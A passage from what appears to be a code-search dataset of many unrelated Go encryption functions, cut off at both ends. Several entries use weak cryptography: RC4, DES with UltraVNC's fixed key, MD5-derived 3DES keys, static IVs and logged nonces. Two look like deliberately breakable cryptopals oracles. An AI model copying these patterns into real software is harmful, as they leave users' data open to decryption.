ctr.Encrypt([]byte(toEncrypt))\n}", "func Encrypt(passphrase string, plaintext []byte) (string, error) {\n\tnow := time.Now()\n\tkey, salt, err := deriveKey(passphrase, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tutils.LogDebug(fmt.Sprintf(\"PBKDF2 key derivation took %d ms\", time.Now().Sub(now).Milliseconds()))\n\n\tiv := make([]byte, 12)\n\t// http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38d.pdf\n\t// Section 8.2\n\t_, err = rand.Read(iv)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tb, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\taesgcm, err := cipher.NewGCM(b)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdata := aesgcm.Seal(nil, iv, plaintext, nil)\n\treturn hex.EncodeToString(salt) + \"-\" + hex.EncodeToString(iv) + \"-\" + hex.EncodeToString(data), nil\n}", "func (i *GPG) Encrypt(\n\tkeys []string,\n\tb []byte,\n) ([]byte, error) {\n\treturn i.cli.Encrypt(i.ctx, b, keys)\n}", "func Encrypt(plainText []byte, key []byte, iv []byte) []byte {\n\treturn getCipher(key).Seal(nil, iv, plainText, nil)\n}", "func (c *Cipher) Encrypt(plaintext string, context map[string]*string) (string, error) {\n\n\tkey, err := kms.GenerateDataKey(c.Client, c.KMSKeyID, context)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tciphertext, err := encryptBytes(key.Plaintext, []byte(plaintext))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tencrypted := &encrypted{keyCiphertext: key.Ciphertext, ciphertext: ciphertext}\n\treturn encrypted.encode(), nil\n\n}", "func (aesOpt *AESOpt) Encrypt(plainText []byte) (string, error) {\n\n\t//Create a nonce. Nonce should be from GCM\n\tnonce := make([]byte, aesOpt.aesGCM.NonceSize())\n\tif _, err := io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn \"\", errors.Wrap(err, \"encryptAES.io.ReadFull\")\n\t}\n\n\t//Encrypt the data using aesGCM.Seal\n\t//Since we don't want to save the nonce somewhere else in this case, we add it as a prefix to the encrypted data. The first nonce argument in Seal is the prefix.\n\tciphertext := aesOpt.aesGCM.Seal(nonce, nonce, plainText, nil)\n\treturn fmt.Sprintf(\"%x\", ciphertext), nil\n}", "func Encrypt(keyStr, ivStr, text string) (string, error) {\n\tkey := []byte(keyStr)\n\tiv := []byte(ivStr)\n\n\tplaintext := pad([]byte(text))\n\n\tif len(plaintext)%aes.BlockSize != 0 {\n\t\treturn \"\", errors.New(\"plaintext is not a multiple of the block size\")\n\t}\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(ciphertext[aes.BlockSize:], plaintext)\n\n\treturn base64Encode(ciphertext), nil\n}", "func (v *DefaultVaultClient) Encrypt(key, b64text string) (string, error) {\n\tkv := map[string]interface{}{\"plaintext\": b64text}\n\ts, err := v.Logical().Write(v.encryptEndpoint(key), kv)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif s == nil {\n\t\treturn \"\", fmt.Errorf(\"Unable to get encryption value using encryption key %s \", key)\n\t}\n\treturn s.Data[\"ciphertext\"].(string), nil\n}", "func (o *OpenSSL) EncryptString(passphrase, plaintextString string) ([]byte, error) {\n\tsalt := make([]byte, 8) // Generate an 8 byte salt\n\t_, err := io.ReadFull(rand.Reader, salt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn o.EncryptStringWithSalt(passphrase, salt, plaintextString)\n}", "func doEncrypt(ctx context.Context, data []byte, subscriptionID string, providerVaultName string, providerKeyName string, providerKeyVersion string) (*string, error) {\n\tkvClient, vaultBaseUrl, keyName, keyVersion, err := getKey(subscriptionID, providerVaultName, providerKeyName, providerKeyVersion)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n \tvalue := base64.RawURLEncoding.EncodeToString(data)\n\tparameter := kv.KeyOperationsParameters {\n\t\tAlgorithm: kv.RSA15,\n\t\tValue: &value,\n\t}\n\t\n\tresult, err := kvClient.Encrypt(vaultBaseUrl, keyName, keyVersion, parameter)\n\tif err != nil {\n\t\tfmt.Println(\"Failed to encrypt, error: \", err)\n\t\treturn nil, err\n\t}\n\treturn result.Result, nil\n}", "func (app *Configurable) Encrypt(parameters map[string]string) interfaces.AppFunction {\n\talgorithm, ok := parameters[Algorithm]\n\tif !ok {\n\t\tapp.lc.Errorf(\"Could not find '%s' parameter for Encrypt\", Algorithm)\n\t\treturn nil\n\t}\n\n\tsecretName := parameters[SecretName]\n\tsecretValueKey := parameters[SecretValueKey]\n\tencryptionKey := parameters[EncryptionKey]\n\n\t// SecretName & SecretValueKey are optional if EncryptionKey specified\n\t// EncryptionKey is optional if SecretName & SecretValueKey are specified\n\n\t// If EncryptionKey not specified, then SecretName & SecretValueKey must be specified\n\tif len(encryptionKey) == 0 && (len(secretName) == 0 || len(secretValueKey) == 0) {\n\t\tapp.lc.Errorf(\"Could not find '%s' or '%s' and '%s' in configuration\", EncryptionKey, SecretName, SecretValueKey)\n\t\treturn nil\n\t}\n\n\t// SecretName & SecretValueKey both must be specified it one of them is.\n\tif (len(secretName) != 0 && len(secretValueKey) == 0) || (len(secretName) == 0 && len(secretValueKey) != 0) {\n\t\tapp.lc.Errorf(\"'%s' and '%s' both must be set in configuration\", SecretName, SecretValueKey)\n\t\treturn nil\n\t}\n\n\tswitch strings.ToLower(algorithm) {\n\tcase EncryptAES256:\n\t\tif len(secretName) > 0 && len(secretValueKey) > 0 {\n\t\t\tprotector := transforms.AESProtection{\n\t\t\t\tSecretName: secretName,\n\t\t\t\tSecretValueKey: secretValueKey,\n\t\t\t}\n\t\t\treturn protector.Encrypt\n\t\t}\n\t\tapp.lc.Error(\"secretName / secretValueKey are required for AES 256 encryption\")\n\t\treturn nil\n\tdefault:\n\t\tapp.lc.Errorf(\n\t\t\t\"Invalid encryption algorithm '%s'. Must be '%s\",\n\t\t\talgorithm,\n\t\t\tEncryptAES256)\n\t\treturn nil\n\t}\n}", "func encrypt(plainData string, secret []byte) (string, error) {\r\n\tcipherBlock, err := aes.NewCipher(secret)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\taead, err := cipher.NewGCM(cipherBlock)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\tnonce := make([]byte, aead.NonceSize())\r\n\tif _, err = io.ReadFull(crt.Reader, nonce); err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\treturn base64.URLEncoding.EncodeToString(aead.Seal(nonce, nonce, []byte(plainData), nil)), nil\r\n}", "func encryptCBC(plainText, key []byte) (cipherText []byte, err error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tplainText = pad(aes.BlockSize, plainText)\n\n\tcipherText = make([]byte, aes.BlockSize+len(plainText))\n\tiv := cipherText[:aes.BlockSize]\n\t_, err = io.ReadFull(cryptoRand.Reader, iv)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(cipherText[aes.BlockSize:], plainText)\n\n\treturn cipherText, nil\n}", "func Encrypt(key, iv, plaintext []byte) string {\n if len(key) != 32 {\n log.Fatal(\"Key length must be 32 bytes\")\n }\n if len(iv) != 12 {\n log.Fatal(\"initialization vector must be 12 bytes\")\n }\n block, err := aes.NewCipher(key)\n if err != nil {\n log.Fatal(err)\n }\n gcm, _ := cipher.NewGCM(block)\n ciphertext := gcm.Seal(nil, iv, plaintext, nil)\n return base64.StdEncoding.EncodeToString(ciphertext)\n}", "func EciesEncrypt(sender *Account, recipentPub string, plainText []byte, iv []byte) (content string, err error) {\n\n\t// Get the shared-secret\n\t_, secretHash, err := EciesSecret(sender, recipentPub)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\thashAgain := sha512.New()\n\t_, err = hashAgain.Write(secretHash[:])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tkeys := hashAgain.Sum(nil)\n\tkey := append(keys[:32]) // first half of sha512 hash of secret is used as key\n\tmacKey := append(keys[32:]) // second half as hmac key\n\n\t// Generate IV\n\tvar contentBuffer bytes.Buffer\n\tif len(iv) != 16 || bytes.Equal(iv, make([]byte, 16)) {\n\t\tiv = make([]byte, 16)\n\t\t_, err = rand.Read(iv)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\tcontentBuffer.Write(iv)\n\n\t// AES CBC for encryption,\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tcbc := cipher.NewCBCEncrypter(block, iv)\n\n\t//// create pkcs#7 padding\n\tplainText = append(plainText, func() []byte {\n\t\tpadLen := block.BlockSize() - (len(plainText) % block.BlockSize())\n\t\tpad := make([]byte, padLen)\n\t\tfor i := range pad {\n\t\t\tpad[i] = uint8(padLen)\n\t\t}\n\t\treturn pad\n\t}()...)\n\n\t// encrypt the plaintext\n\tcipherText := make([]byte, len(plainText))\n\tcbc.CryptBlocks(cipherText, plainText)\n\tcontentBuffer.Write(cipherText)\n\n\t// Sign the message using sha256 hmac, *second* half of sha512 hash used as key\n\tsigner := hmac.New(sha256.New, macKey)\n\t_, err = signer.Write(contentBuffer.Bytes())\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tsignature := signer.Sum(nil)\n\tcontentBuffer.Write(signature)\n\n\t// base64 encode the message, and it's ready to be embedded in our FundsReq.Content or RecordSend.Content fields\n\tb64Buffer := bytes.NewBuffer([]byte{})\n\tencoded := base64.NewEncoder(base64.StdEncoding, b64Buffer)\n\t_, err = encoded.Write(contentBuffer.Bytes())\n\t_ = encoded.Close()\n\treturn string(b64Buffer.Bytes()), nil\n}", "func EncryptString(plainText string, key []byte, iv []byte) []byte {\n\tplainTextAsBytes := []byte(plainText)\n\treturn Encrypt(plainTextAsBytes, key, iv)\n}", "func Encrypt() error {\n\treader := bufio.NewReader(os.Stdin)\n\tvar repoPath string\n\tvar dbPath string\n\tvar filename string\n\tvar testnet bool\n\tvar err error\n\tfor {\n\t\tfmt.Print(\"Encrypt the mainnet or testnet db?: \")\n\t\tresp, _ := reader.ReadString('\\n')\n\t\tif strings.Contains(strings.ToLower(resp), \"mainnet\") {\n\t\t\trepoPath, err = getRepoPath(false)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tfilename = \"mainnet.db\"\n\t\t\tdbPath = path.Join(repoPath, \"datastore\", filename)\n\t\t\trepoLockFile := filepath.Join(repoPath, lockfile.LockFile)\n\t\t\tif _, err := os.Stat(repoLockFile); !os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Cannot encrypt while the daemon is running.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif _, err := os.Stat(dbPath); os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Database does not exist. You may need to run the node at least once to initialize it.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tbreak\n\t\t} else if strings.Contains(strings.ToLower(resp), \"testnet\") {\n\t\t\trepoPath, err = getRepoPath(true)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\ttestnet = true\n\t\t\tfilename = \"testnet.db\"\n\t\t\tdbPath = path.Join(repoPath, \"datastore\", filename)\n\t\t\trepoLockFile := filepath.Join(repoPath, lockfile.LockFile)\n\t\t\tif _, err := os.Stat(repoLockFile); !os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Cannot encrypt while the daemon is running.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif _, err := os.Stat(dbPath); os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Database does not exist. You may need to run the daemon at least once to initialize it.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tbreak\n\t\t} else {\n\t\t\tfmt.Println(\"No comprende\")\n\t\t}\n\t}\n\tvar pw string\n\tfor {\n\t\tfmt.Print(\"Enter a veerrrry strong password: \")\n\t\tbytePassword, _ := terminal.ReadPassword(int(syscall.Stdin))\n\t\tfmt.Println(\"\")\n\t\tresp := string(bytePassword)\n\t\tif len(resp) < 8 {\n\t\t\tfmt.Println(\"You call that a password? Try again.\")\n\t\t} else if resp != \"\" {\n\t\t\tpw = resp\n\t\t\tbreak\n\t\t} else {\n\t\t\tfmt.Println(\"Seriously, enter a password.\")\n\t\t}\n\t}\n\tfor {\n\t\tfmt.Print(\"Confirm your password: \")\n\t\tbytePassword, _ := terminal.ReadPassword(int(syscall.Stdin))\n\t\tfmt.Println(\"\")\n\t\tresp := string(bytePassword)\n\t\tif resp == pw {\n\t\t\tbreak\n\t\t} else {\n\t\t\tfmt.Println(\"Quit effin around. Try again.\")\n\t\t}\n\t}\n\tpw = strings.Replace(pw, \"'\", \"''\", -1)\n\ttmpPath := path.Join(repoPath, \"tmp\")\n\tsqlliteDB, err := Create(repoPath, \"\", testnet)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\tif sqlliteDB.Config().IsEncrypted() {\n\t\tfmt.Println(\"The database is alredy encrypted\")\n\t\treturn nil\n\t}\n\tif err := os.MkdirAll(path.Join(repoPath, \"tmp\", \"datastore\"), os.ModePerm); err != nil {\n\t\treturn err\n\t}\n\ttmpDB, err := Create(tmpPath, pw, testnet)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\n\tinitDatabaseTables(tmpDB.db, pw)\n\tif err := sqlliteDB.Copy(path.Join(tmpPath, \"datastore\", filename), pw); err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\terr = os.Rename(path.Join(tmpPath, \"datastore\", filename), path.Join(repoPath, \"datastore\", filename))\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\tos.RemoveAll(path.Join(tmpPath))\n\tfmt.Println(\"Success! You must now run openbazaard start with the --password flag.\")\n\treturn nil\n}", "func (t *CryptoHandler) encryptInline(plain []byte, key, tfvf string, dblEncrypt bool, exclWhitespace bool) ([]byte, error) {\n\n\tif !dblEncrypt {\n\t\tr := regexp.MustCompile(thCryptoWrapRegExp)\n\t\tm := r.FindSubmatch(plain)\n\t\tif len(m) >= 1 {\n\t\t\treturn nil, newCryptoWrapError(errMsgAlreadyEncrypted)\n\t\t}\n\t}\n\n\ttfvu := NewTfVars(tfvf, exclWhitespace)\n\tinlineCreds, err := tfvu.Values()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tinlinedText := string(plain)\n\tfor _, v := range inlineCreds {\n\t\tct, err := t.Encrypter.Encrypt(key, []byte(v))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tinlinedText = strings.Replace(inlinedText, v, string(ct), -1)\n\t}\n\n\treturn []byte(inlinedText), nil\n}", "func EncryptThis(text string) string {\n\n\tif len(text) == 0 {\n\t\treturn text\n\t}\n\n\tstr := strings.Split(text, \" \")\n\n\tstrEncrypt := \"\"\n\n\tfor _, v := range str {\n\n\t\tstrEncrypt += fmt.Sprintf(\"%s \", encryptThis(v))\n\n\t}\n\n\treturn strings.TrimSpace(strEncrypt)\n}", "func (q MockService) Encrypt(input string) (encKey string, encVal string, err error) {\n\tencKey = `AQEDAHithgxYTcdIpj37aYm1VAycoViFcSM2L+KQ42Aw3R0MdAAAAH4wfAYJKoZIhvcNAQcGoG8wbQIBADBoBgkqhkiG9w0BBwEwHgYJYIZIAWUDBAEuMBEEDMrhUevDKOjuP7L1\nXAIBEIA7/F9A1spnmoaehxqU5fi8lBwiZECAvXkSI33YPgJGAsCqmlEAQuirHHp4av4lI7jjvWCIj/nyHxa6Ss8=`\n\tencVal = \"+DKd7lg8HsLD+ISl7ZrP0n6XhmrTRCYDVq4Zj9hTrL1JjxAb2fGsp/2DMSPy\"\n\terr = nil\n\n\treturn encKey, encVal, err\n}", "func encrypt(msg []byte, k key) (c []byte, err error) {\n\tnonce, err := randomNonce()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tc = box.SealAfterPrecomputation(c, msg, nonce, k)\n\tc = append((*nonce)[:], c...)\n\treturn c, nil\n}", "func (e *AgeEncryption) encryptArgs() []string {\n\tvar args []string\n\targs = append(args,\n\t\t\"--armor\",\n\t\t\"--encrypt\",\n\t)\n\tswitch {\n\tcase e.Passphrase:\n\t\targs = append(args, \"--passphrase\")\n\tcase e.Symmetric:\n\t\targs = append(args, e.identityArgs()...)\n\tdefault:\n\t\tif e.Recipient != \"\" {\n\t\t\targs = append(args, \"--recipient\", e.Recipient)\n\t\t}\n\t\tfor _, recipient := range e.Recipients {\n\t\t\targs = append(args, \"--recipient\", recipient)\n\t\t}\n\t\tif e.RecipientsFile != \"\" {\n\t\t\targs = append(args, \"--recipients-file\", string(e.RecipientsFile))\n\t\t}\n\t\tfor _, recipientsFile := range e.RecipientsFiles {\n\t\t\targs = append(args, \"--recipients-file\", string(recipientsFile))\n\t\t}\n\t}\n\treturn args\n}", "func (e ECBEncryptionOracle) Encrypt(myString []byte) []byte {\n\treturn e.ecb.Encrypt(append(e.prepend, append(myString, e.unknownString...)...))\n}", "func encrypt(plainData string, secret []byte) (string, error) {\n\tcipherBlock, err := aes.NewCipher(secret)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\taead, err := cipher.NewGCM(cipherBlock)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnonce := make([]byte, aead.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn base64.URLEncoding.EncodeToString(aead.Seal(nonce, nonce, []byte(plainData), nil)), nil\n}", "func Encrypt(plaintext string) (string, error) {\n\treturn defaultEncryptor.Encrypt(plaintext)\n}", "func Encrypt(data []byte, passphrase string) ([]byte, error) {\n\tkey := []byte(utils.SHA3hash(passphrase)[96:128]) // last 32 characters in hash\n\tblock, _ := aes.NewCipher(key)\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\tlog.Println(\"Failed to initialize a new AES GCM while encrypting\", err)\n\t\treturn data, err\n\t}\n\tnonce := make([]byte, gcm.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\tlog.Println(\"Error while reading gcm bytes\", err)\n\t\treturn data, err\n\t}\n\tlog.Println(\"RANDOM ENCRYPTION NONCE IS: \", nonce)\n\tciphertext := gcm.Seal(nonce, nonce, data, nil)\n\treturn ciphertext, nil\n}", "func (m *TripleDesCBC) Encrypt(key, s string) (string, error) {\n\t//set aeskey\n\terr := gocrypto.SetDesKey(gocrypto.Md5(key)[0:24])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tace, err := gocrypto.TripleDesCBCEncrypt([]byte(kpassSign + s))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn base64.StdEncoding.EncodeToString(ace), nil\n}", "func Encrypt(content string, salt string) string {\n\treturn fmt.Sprintf(\"%x\", pbkdf2.Key([]byte(content), []byte(salt), 4096, 16, sha1.New))\n}", "func Encrypt(filePath string, params params.CliParams) {\n\tif params.SkipEncryption {\n\t\treturn\n\t}\n\n\tcrypto.Encrypt(filePath, params.Key)\n\tjournOs.DeleteFile(filePath)\n}", "func Encrypt(key []byte, plaintext string) (string, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\taesgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnonce := make([]byte, 12)\n\tif _, err := io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tplaintextbytes := []byte(plaintext)\n\tcipherStr := base64.StdEncoding.EncodeToString(aesgcm.Seal(nonce, nonce, plaintextbytes, nil))\n\treturn cipherStr, nil\n}", "func (t *Thread) Encrypt(data []byte) ([]byte, error) {\n\treturn crypto.Encrypt(t.PrivKey.GetPublic(), data)\n}", "func generateKey() {\n\tpassphrase := os.Getenv(passphraseEnvironmentVariable)\n\tif passphrase == \"\" {\n\t\tprintErrorAndExit(fmt.Errorf(\"skicka: SKICKA_PASSPHRASE \" +\n\t\t\t\"environment variable not set.\\n\"))\n\t}\n\n\t// Derive a 64-byte hash from the passphrase using PBKDF2 with 65536\n\t// rounds of SHA256.\n\tsalt := getRandomBytes(32)\n\thash := pbkdf2.Key([]byte(passphrase), salt, 65536, 64, sha256.New)\n\tif len(hash) != 64 {\n\t\tlog.Fatalf(\"incorrect key size returned by pbkdf2 %d\\n\", len(hash))\n\t}\n\n\t// We'll store the first 32 bytes of the hash to use to confirm the\n\t// correct passphrase is given on subsequent runs.\n\tpassHash := hash[:32]\n\t// And we'll use the remaining 32 bytes as a key to encrypt the actual\n\t// encryption key. (These bytes are *not* stored).\n\tkeyEncryptKey := hash[32:]\n\n\t// Generate a random encryption key and encrypt it using the key\n\t// derived from the passphrase.\n\tkey := getRandomBytes(32)\n\tiv := getRandomBytes(16)\n\tencryptedKey := encryptBytes(keyEncryptKey, iv, key)\n\n\tfmt.Printf(\"; Add the following lines to the [encryption] section\\n\")\n\tfmt.Printf(\"; of your ~/.skicka.config file.\\n\")\n\tfmt.Printf(\"\\tsalt=%s\\n\", hex.EncodeToString(salt))\n\tfmt.Printf(\"\\tpassphrase-hash=%s\\n\", hex.EncodeToString(passHash))\n\tfmt.Printf(\"\\tencrypted-key=%s\\n\", hex.EncodeToString(encryptedKey))\n\tfmt.Printf(\"\\tencrypted-key-iv=%s\\n\", hex.EncodeToString(iv))\n}", "func EncryptSharedString(user1PrivateKey *bsvec.PrivateKey, user2PubKey *bsvec.PublicKey, data string) (\r\n\t*bsvec.PrivateKey, *bsvec.PublicKey, string, error) {\r\n\r\n\t// Generate shared keys that can be decrypted by either user\r\n\tsharedPrivKey, sharedPubKey := GenerateSharedKeyPair(user1PrivateKey, user2PubKey)\r\n\r\n\t// Encrypt data with shared key\r\n\tencryptedData, err := bsvec.Encrypt(sharedPubKey, []byte(data))\r\n\r\n\treturn sharedPrivKey, sharedPubKey, hex.EncodeToString(encryptedData), err\r\n}", "func encryptBytes(key []byte, plaintext []byte) ([]byte, error) {\n\t// Prepend 6 empty bytes to the plaintext so that the decryptor can verify\n\t// that decryption happened correctly.\n\tzeroes := make([]byte, numVerificationBytes)\n\tfulltext := append(zeroes, plaintext...)\n\n\t// Create the cipher and aead.\n\ttwofishCipher, err := twofish.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, errors.New(\"unable to create twofish cipher: \" + err.Error())\n\t}\n\taead, err := cipher.NewGCM(twofishCipher)\n\tif err != nil {\n\t\treturn nil, errors.New(\"unable to create AEAD: \" + err.Error())\n\t}\n\n\t// Generate the nonce.\n\tnonce := make([]byte, aead.NonceSize())\n\t_, err = rand.Read(nonce)\n\tif err != nil {\n\t\treturn nil, errors.New(\"failed to generate entropy for nonce: \" + err.Error())\n\t}\n\n\t// Encrypt the data and return.\n\treturn aead.Seal(nonce, nonce, fulltext, nil), nil\n}", "func Encrypt(value string) (string, error) {\n\tif bytes, err := rsa.EncryptPKCS1v15(rand.Reader, &(privateKey.PublicKey), []byte(value)); err != nil {\n\t\treturn \"\", err\n\t} else {\n\t\treturn base64.StdEncoding.EncodeToString(bytes), nil\n\t}\n}", "func (c AESCBC) PrependAppendEncrypt(text []byte) []byte {\n\tprepended := []byte(\"comment1=cooking%20MCs;userdata=\")\n\tappended := []byte(\";comment2=%20like%20a%20pound%20of%20bacon\")\n\t// Get rid of = and ;\n\ttext = bytes.Replace(bytes.Replace(text, []byte(\"=\"), []byte(\"\"), -1), []byte(\";\"), []byte(\"\"), -1)\n\treturn c.Encrypt(append(append(prepended, text...), appended...))\n}", "func VaultEncryptor(path string) CryptoHelper {\n\treturn func(plaintext []byte) ([]byte, error) {\n\t\tcli, err := api.NewClient(nil)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdata := make(map[string]interface{})\n\t\tdata[\"plaintext\"] = base64.StdEncoding.EncodeToString(plaintext)\n\n\t\tencryptPath := fmt.Sprintf(\"%s/encrypt\", path)\n\n\t\tsecret, err := cli.Logical().Write(encryptPath, data)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif secret == nil {\n\t\t\treturn nil, fmt.Errorf(\"problem encrypting\")\n\t\t}\n\t\tcyphertext, err := base64.StdEncoding.DecodeString(secret.Data[\"cyphertext\"].(string))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn cyphertext, nil\n\t}\n}", "func Encrypt(plaintext, key string) (string, error) {\n\n\tvar ciphertext []byte\n\tvar err error\n\n\tciphertext, err = encrypt([]byte(plaintext), []byte(key))\n\n\treturn base64.StdEncoding.EncodeToString(ciphertext), err\n}", "func Encrypt(key *Key, password string, attrs map[string]interface{}) ([]byte, error) {\n\tprovider := &Web3KeyStore{}\n\n\treturn provider.Write(key, password, attrs)\n}", "func Encrypt(data []byte, passphrase string) []byte {\n\tblock, _ := aes.NewCipher([]byte(createHash(passphrase)))\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\tnonce := make([]byte, gcm.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\tpanic(err.Error())\n\t}\n\tciphertext := gcm.Seal(nonce, nonce, data, nil)\n\treturn ciphertext\n}", "func passphraseToKey(passphrase, engineId []byte) []byte {\n\th := sha1.New()\n\n\tpassphraseLength := len(passphrase)\n\n\t// Write 1 MB to the hash\n\trepeat, remain := oneMegabyte/passphraseLength, oneMegabyte%passphraseLength\n\n\tfor repeat > 0 {\n\t\th.Write(passphrase)\n\t\trepeat--\n\t}\n\n\tif remain > 0 {\n\t\th.Write(passphrase[:remain])\n\t}\n\n\tsum := h.Sum(nil)\n\n\th.Reset()\n\n\th.Write(sum)\n\th.Write(engineId)\n\th.Write(sum)\n\n\treturn h.Sum(nil)\n}", "func EncryptSHA256(text string) string {\n h := sha256.New()\n h.Write([]byte(text))\n s := base64.URLEncoding.EncodeToString(h.Sum(nil))\n return (s)\n}", "func encrypt(plaintext []byte) []byte {\n IV := genRandomBytes(ivLen)\n ciphertext := aead.Seal(nil, IV, plaintext, nil)\n\n return append(IV[:], ciphertext[:]...)\n}", "func Encrypt(pass string) (string, error) {\n\tval, err := bcrypt.GenerateFromPassword([]byte(pass), salt)\n\treturn string(val), err\n}", "func EncryptString(to_encrypt string, key_string string) string {\n\tkey := DecodeBase64(key_string)\n\tplaintext := []byte(to_encrypt)\n\t// create the cipher\n\tc, err := rc4.NewCipher(key)\n\tif err != nil {\n\t\tfmt.Println(\"ERROR: there was a key size error (my_server.go: EncryptString)\")\n\t\tfmt.Println(err) \n\t}\n\t// make a empty byte array to fill\n\tciphertext := make([]byte, len(plaintext))\n\t// create the ciphertext\n\tc.XORKeyStream(ciphertext, plaintext)\n\treturn EncodeBase64(ciphertext)\n}", "func encrypt(password string) string {\n\t// Pad the password with zeroes, then take the first 8 bytes.\n\tpassword = password + \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\tpassword = password[:8]\n\n\t// Create a DES cipher using the same key as UltraVNC.\n\tblock, err := des.NewCipher(ultraVNCDESKey)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Encrypt password.\n\tencryptedPassword := make([]byte, block.BlockSize())\n\tblock.Encrypt(encryptedPassword, []byte(password))\n\n\t// Append an arbitrary byte as per UltraVNC's algorithm.\n\tencryptedPassword = append(encryptedPassword, 0)\n\n\t// Return encrypted password as a hex-encoded string.\n\treturn hex.EncodeToString(encryptedPassword)\n}", "func Encrypt(encrypt bool, prompt string, key string, value []byte) ([]byte, error) {\n\tvar devices []*trezor.HidTransport\n\tfor {\n\t\tvar err error\n\t\tdevices, err = trezor.Enumerate()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif len(devices) == 0 {\n\t\t\tokay, err := DoCheck(\"Couldn't find any Trezor devices\", \"Retry\", \"Cancel\")\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tif !okay {\n\t\t\t\treturn nil, fmt.Errorf(\"Canceled by user\")\n\t\t\t}\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\tvar result []byte\n\tdevice := devices[0]\n\tTrezorDo(device, func(features messages.Features) error {\n\t\tvar err error\n\t\tresult, err = EncryptWithDevice(device, encrypt, prompt, key, value)\n\t\treturn err\n\t})\n\treturn result, nil\n}", "func (s service) EncryptPassword(src string) string {\n\tbytes, _ := bcrypt.GenerateFromPassword([]byte(s.getRawPasswordWithSalt(src)), bcrypt.MinCost)\n\treturn string(bytes)\n}", "func EncryptString(publicKey []*big.Int, message string) ([]byte, error) {\n\treturn EncryptBytes(publicKey, []byte(message))\n}", "func PwEncrypt(bytePw, byteSecret []byte) ([]byte, error) {\n\n\tvar secretKey [32]byte\n\tcopy(secretKey[:], byteSecret)\n\n\tvar nonce [24]byte\n\tif _, err := io.ReadFull(crypt.Reader, nonce[:]); err != nil {\n\t\treturn nil, errors.Wrap(err, \"PwEncrypt(ReadFull)\")\n\t}\n\n\treturn secretbox.Seal(nonce[:], bytePw, &nonce, &secretKey), nil\n}", "func EncryptDBdump(dbtxt string, dbgpg string) error {\n\tpubkey, err0 := 